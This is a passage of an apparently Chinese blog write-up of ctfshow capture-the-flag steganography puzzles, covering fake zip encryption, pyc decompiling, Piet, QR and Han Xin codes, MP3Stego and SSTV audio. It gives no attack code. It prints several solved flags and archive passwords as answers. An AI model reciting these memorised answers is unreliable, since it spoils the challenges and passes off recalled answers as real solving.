src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 995px) 100vw, 995px\" \/><\/div><\/figure><p>\u770b\u6765\u662f\u4f2a\u52a0\u5bc6<\/p><p>\u6539\u4e86\u4e4b\u540e\u89e3\u538b\u51fa\u6765\u4e00\u4e2a\u795e\u79d8\u6587\u4ef6<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-62.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"856\" height=\"501\" class=\"wp-image-646\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-62.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 856px) 100vw, 856px\" \/><\/div><\/figure><p>\u4e00\u773cpyc\uff0c\u6539\u540e\u7f00\uff0c\u627e\u4e2a<a href=\"https:\/\/tool.lu\/pyc\/\">\u5728\u7ebf\u5e73\u53f0<\/a>\u53cd\u7f16\u8bd1\u4e00\u4e0b\uff1a<\/p><pre class=\"wp-block-code\"><code>#!\/usr\/bin\/env python # visit https:\/\/tool.lu\/pyc\/ for more information # Version: Python 3.7 flag = bytes([     99,     116,     102,     115,     104,     111,     119,     123,     99,     100,     106,     110,     106,     100,     95,     53,     54,     53,     102,     95,     71,     67,     68,     72,     95,     107,     99,     114,     105,     109,     125]).decode() print(flag)<\/code><\/pre><p>ctfshow{cdjnjd_565f_GCDH_kcrim}<\/p><h2 class=\"wp-block-heading\">\u62bd\u8c61\u753b<\/h2><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-85-1024x367.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"367\" class=\"wp-image-691\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-85-1024x367.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>base\u4e00\u628a\u68ad\u51fa\u6765\u4e00\u773c16\u8fdb\u5236\uff0c\u53ef\u80fd\u53ef\u4ee5\u7ec4\u6210\u56fe\u7247<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/hex1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"942\" height=\"623\" class=\"wp-image-692\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/hex1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 942px) 100vw, 942px\" \/><\/div><\/figure><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/hex2-1024x441.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"441\" class=\"wp-image-693\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/hex2-1024x441.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>\u4fdd\u5b58\u5b8c\u5f97\u5230\u4e00\u4e2a\u5947\u602a\u7684\u56fe\u7247<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-86.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"883\" height=\"495\" class=\"wp-image-694\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-86.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 883px) 100vw, 883px\" \/><\/div><\/figure><p>\u7528<a href=\"https:\/\/www.bertnase.de\/npiet\/\">npiet<\/a>\u53ef\u4ee5\u5f97\u5230flag\uff08\u6ca1\u89c1\u8fc7\uff09<\/p><p>\u5148\u70b9\u51fbnpiet-start.bat\u542f\u52a8cmd\uff0c\u7136\u540enpiet.exe \u56fe\u7247\u540d\u5373\u53ef<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-87.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"684\" height=\"71\" class=\"wp-image-695\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-87.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 684px) 100vw, 684px\" \/><\/div><\/figure><h2 class=\"wp-block-heading\">\u8fc5\u75be\u54cd\u5e94<\/h2><p><a href=\"https:\/\/merricx.github.io\/qrazybox\/\">\u94fe\u63a5<\/a><\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/file.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"610\" height=\"610\" class=\"wp-image-702\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/file.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 610px) 100vw, 610px\" \/><\/div><\/figure><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-91-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" class=\"wp-image-703\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-91-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-15-1024x450.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"450\" class=\"wp-image-704\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/2-15-1024x450.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/3-8-1024x636.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"636\" class=\"wp-image-705\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/3-8-1024x636.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/4-1-1024x620.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"620\" class=\"wp-image-706\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/4-1-1024x620.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><h2 class=\"wp-block-heading\">\u6211\u53ef\u6ca1\u6709\u9a97\u4f60<\/h2><p>\u5148\u7206\u7834\u5bc6\u7801\uff1a55813329\uff0c\u5f97\u5230\u7684mp3\u6587\u4ef6\u6539wav\u540e\u7f00\uff0c\u7136\u540e\u7528silent eye\u5373\u53ef<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-70.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"652\" height=\"488\" class=\"wp-image-668\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-70.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 652px) 100vw, 652px\" \/><\/div><\/figure><h2 class=\"wp-block-heading\">\u4f60\u88ab\u9a97\u4e86<\/h2><p>\u89e3\u538b\u51fa\u6765\u5f97\u5230\u4e00\u4e2amp3\u6587\u4ef6\uff0c\u5c5e\u6027\u91cc\u770b\u5230flag\uff0c\u4f46\u90a3\u4e2a\u662f\u5047\u7684\uff0c\u8003\u8651MP3Stego<\/p><pre class=\"wp-block-code\"><code>Decode.exe -X cipher.mp3 -P<\/code><\/pre><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-71.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"947\" height=\"258\" class=\"wp-image-669\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-71.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 947px) 100vw, 947px\" \/><\/div><\/figure><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-72.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"535\" height=\"174\" class=\"wp-image-670\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-72.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 535px) 100vw, 535px\" \/><\/div><\/figure><h2 class=\"wp-block-heading\">\u4e00\u95ea\u4e00\u95ea\u4eae\u6676\u6676<\/h2><p>\u538b\u7f29\u5305\u91cc\u56fe\u7247\u53ef\u4ee5\u76f4\u63a5\u89e3\u538b\u51fa\u6765\uff0c\u662f\u6c49\u4fe1\u7801<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/what-is-this.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"274\" height=\"274\" class=\"wp-image-711\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/what-is-this.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 274px) 100vw, 274px\" \/><\/div><\/figure><p><a href=\"https:\/\/tuzim.net\/hxdecode\/\">\u5728\u7ebf\u8bc6\u522b<\/a>\u5f97\u5230\u538b\u7f29\u5305\u5bc6\u7801\uff1aCDBHSBHSxskv6<\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-93-1024x406.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"406\" class=\"wp-image-713\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-93-1024x406.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>\u5f97\u5230\u7684\u97f3\u9891\u662fsstv<\/p><p>\u53c2\u8003<a href=\"http:\/\/t.zoukankan.com\/LEOGG321-p-13731156.html\">Misc SSTV\u6162\u626b\u63cf\u7535\u89c6&amp;\u65e0\u7ebf\u7535\u65b9\u6cd5<\/a><\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-94-1024x394.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"394\" class=\"wp-image-714\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-94-1024x394.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>ctfshow{NNICCETOMMETYOU}<\/p><h2 class=\"wp-block-heading\">\u4e00\u5c42\u4e00\u5c42\u4e00\u5c42\u5730\u5265\u5f00\u6211\u7684\u2665<\/h2><p>\u538b\u7f29\u5305\u89e3\u538b\u51fa\u6765\u7684\u6587\u4ef6\u5982\u4e0b<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-95.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"841\" height=\"248\" class=\"wp-image-716\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-95.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 841px) 100vw, 841px\" \/><\/div><\/figure><p>\u901a\u8fc7\u7ecf\u9a8c\u53ef\u4ee5\u5224\u65ad\uff0c\u8fd9\u4e2a\u538b\u7f29\u5305\u5176\u5b9e\u4e0d\u662f\u538b\u7f29\u5305\uff0c\u800c\u662f\u4e00\u4e2adocx\u6587\u4ef6\uff0c\u6539\u540e\u7f00\u540d\uff0c\u6253\u5f00\u540e\u5f97\u5230\u4e00\u4e9b\u5947\u602a\u7684\u5b57\u7b26\uff0c\u5b57\u4f53\u540d\u4e3aWingdings 3<\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-96-1024x522.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"522\" class=\"wp-image-717\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-96-1024x522.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>\u6539\u5b57\u4f53\u5f97\u5230\u6b63\u5e38\u6587\u5b57<\/p><figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-97-1024x443.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"443\" class=\"wp-image-719\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-97-1024x443.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure><p>\u6ca1\u5f97\u5230\u4ec0\u4e48\u6709\u6548\u4fe1\u606f\uff0cbinwalk\u5f97\u5230\u4e24\u4e2a\u538b\u7f29\u5305<\/p><figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2022\/12\/1-98.png'><img class=\"lazyload lazyload-style-1\" 